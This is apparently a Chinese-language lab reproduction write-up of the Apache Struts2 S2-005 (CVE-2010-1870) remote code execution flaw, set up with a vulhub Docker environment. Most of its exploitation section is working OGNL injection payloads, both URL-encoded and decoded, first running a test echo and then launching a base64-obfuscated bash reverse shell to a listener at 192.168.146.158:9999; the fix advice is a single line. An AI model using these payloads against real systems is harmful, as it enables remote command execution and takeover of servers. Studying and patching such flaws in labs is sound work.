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CVE-2010-1870 S2-005 远程代码执行漏洞

2023-02-18 16:38:48 时间

1 漏洞信息

漏洞名称

远程代码执行漏洞

漏洞编号

CVE-2010-1870

危害等级

高危

漏洞类型

中间件漏洞

漏洞厂商

Apache

漏洞组件

Struts2

受影响版本

2.0.0 <= Struts2 <= 2.1.8.1

2 环境搭建

2.1 环境概述

  • Linux操作系统

2.2 搭建过程

拉取镜像

 cd vulhub/struts2/s2-005
 docker-compose up -d

访问http://192.168.146.158:8105/example/HelloWorld.action

3 漏洞复现

构造一个恶意的payload并发送。

 redirect%3A%24%7B%23req%3D%23context.get%28%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27%29%2C%23s%3Dnew%20java.util.Scanner%28%28new%20java.lang.ProcessBuilder%28%27echo%20has%20vul%27.toString%28%29.split%28%27%5C%5Cs%27%29%29%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%27%5C%5CAAAA%27%29%2C%23str%3D%23s.hasNext%28%29%3F%23s.next%28%29%3A%27%27%2C%23resp%3D%23context.get%28%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23resp.getWriter%28%29.println%28%23str%29%2C%23resp.getWriter%28%29.flush%28%29%2C%23resp.getWriter%28%29.close%28%29%7D
 ​
 payload原型：
 redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('echo has vul'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

发现成功执行了echo has vul，说明存在该漏洞。

既然发现漏洞了，那我们可以开始反弹shell

 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 base加密
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

访问漏洞url并且添加恶意payload进行抓包。

 redirect%3A%24%7B%23req%3D%23context.get%28%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27%29%2C%23s%3Dnew%20java.util.Scanner%28%28new%20java.lang.ProcessBuilder%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27.toString%28%29.split%28%27%5C%5Cs%27%29%29%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%27%5C%5CAAAA%27%29%2C%23str%3D%23s.hasNext%28%29%3F%23s.next%28%29%3A%27%27%2C%23resp%3D%23context.get%28%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23resp.getWriter%28%29.println%28%23str%29%2C%23resp.getWriter%28%29.flush%28%29%2C%23resp.getWriter%28%29.close%28%29%7D
 ​
 payload原型：
 redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

攻击机进行监听，然后发现成功反弹了shell。

4 修复建议

1、推荐的解决方案：升级至比受漏洞影响的更高版本。

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